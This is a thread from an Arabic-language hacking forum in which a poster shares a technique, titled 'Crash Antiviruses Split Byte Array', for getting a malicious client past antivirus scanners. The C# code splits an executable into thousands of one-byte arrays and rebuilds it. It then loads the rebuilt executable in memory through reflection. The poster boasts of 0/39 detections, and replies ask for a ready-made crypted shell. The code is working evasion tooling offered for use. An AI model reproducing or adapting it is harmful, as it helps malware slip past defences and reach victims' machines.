17.01.2018 Crash Antiviruses Split Byte Array [0/39 ضياع كامل وطويل للحمايات]


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

الحالة
مغلق و غير مفتوح للمزيد من الردود.

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
حياكم الله ياشباب
نزلت موضوعي هنا من شوي
Crash Antiviruses Split Base64 Values [0/39 ضياع كامل وطويل للحمايات]
وبيحكي عن عمل متغيرلكل محرف من المحارف في قيم البيس64
الان رح نجزئ الكلاينت البايت اراي الى بايت بايت وكل بايت رح نحفظه في بايت اراي خاصة به
ومن ثم رح نجمعهم ,, بتفهم بالفديو
النتيجة كلين من الكل 0/39
Results | Metadefender.com
هنا اللي رح يلزمك
C#:
static string Pbb4(byte[] bytes)
       {
           var sb = new StringBuilder();
           var i = 0;
           foreach (var b in bytes)
           {
               i++;
               sb.Append($"b{i},");
           }
           sb.Append("");
           return sb.ToString();
       }
       static string Pbb3(byte[] bytes)
       {
           var sb = new StringBuilder();
           var i = 0;
           foreach (var b in bytes)
           {
               i++;
               sb.Append($"byte[] b{i} = "+"{"+$"{b}"+"};");
           }
           sb.Append("");
           return sb.ToString();
       }
وهنا السورس النهائي
C#:
static void Main(string[] args)
       {
           byte[] b1 = {77};byte[] b2 = {90};byte[] b3 = {144};byte[] b4 = {0};byte[] b5 = {3};byte[] b6 = {0};byte[] b7 = {0};byte[] b8 = {0};byte[] b9 = {4};byte[] b10 = {0};byte[] b11 = {0};byte[] b12 = {0};byte[] b13 = {255};byte[] b14 = {255};byte[] b15 = {0};byte[] b16 = {0};byte[] b17 = {184};byte[] b18 = {0};byte[] b19 = {0};byte[] b20 = {0};byte[] b21 = {0};byte[] b22 = {0};byte[] b23 = {0};byte[] b24 = {0};byte[] b25 = {64};byte[] b26 = {0};byte[] b27 = {0};byte[] b28 = {0};byte[] b29 = {0};byte[] b30 = {0};byte[] b31 = {0};byte[] b32 = {0};byte[] b33 = {0};byte[] b34 = {0};byte[] b35 = {0};byte[] b36 = {0};byte[] b37 = {0};byte[] b38 = {0};
   
           Interaction.CallByName(Interaction.CallByName(Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
       ?.Invoke(null, new object[] { Combine(b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12,b13,b14,b15,b16,b17,b18) })
      ?? throw new InvalidOperationException(), "EntryPoint", CallType.Get),
    "Invoke", CallType.Method, 100000 - 10000000, null);
       }
       public static byte[] Combine(params byte[][] arrays)
       {
           byte[] ret = new byte[arrays.Sum(x => x.Length)];
           int offset = 0;
           foreach (byte[] data in arrays)
           {
               Buffer.BlockCopy(data, 0, ret, offset, data.Length);
               offset += data.Length;
           }
           return ret;
       }
   }
ملاحظة بالموضوعين اعمل كمبايل بوضع Release مش Debug
حتى تتجاوز مشكلة عدم المقدرة على عمل كمبايل بسبب عدد المتغيرات الكبير بالسورس
مثلا هنا بموضوعنا مشكلة وجود 16896 مصفوفة بايت اراي بالسورس الخاص بك ههه
لمشاهدة الفديو بالمرفقات​
 

المرفقات

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
اخي بشار ممكن السورس ب فك خورزميه base64 وشكراااا لك
اسحب الملف الي بدك تحصل على قيم البيس64 الخاصة فيه فوق هالملف ورح يصيرو القيم عندك بالكليبورد "يعني كانك عامل نسخ لهم" روح اعمل لهم لصق باي مكان بتشوفهم موجودين
حمل الملف من المرفقات
 

المرفقات

hackblack

:: عضو جديد ::
31 أغسطس 2019
26
25
0
اسحب الملف الي بدك تحصل على قيم البيس64 الخاصة فيه فوق هالملف ورح يصيرو القيم عندك بالكليبورد "يعني كانك عامل نسخ لهم" روح اعمل لهم لصق باي مكان بتشوفهم موجودين
حمل الملف من المرفقات
انا اريد سورس شل المنقح من فضلك
 

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,821
3,865
1
انا اريد سورس شل المنقح من فضلك
ولافهمت منك شي اخي ..
بالموضوع السابق اعطيتك الاكواد ورجعت طلبتهم هنا فاعطيتك شي جاهز كمان مامشي الحال ههه ..
للعلم كل شي كل شي جاهز بالموضوع هنا ..مشكلتك لم تطبق "انا متاكد" اما كل شي جاهز
انصحك تتعلم سي شارب مثلا وبعدها تجي تطبق ..اسف مااقدر اساعدك الا هيك ..
 
  • أحزنني
التفاعلات: hackblack
الحالة
مغلق و غير مفتوح للمزيد من الردود.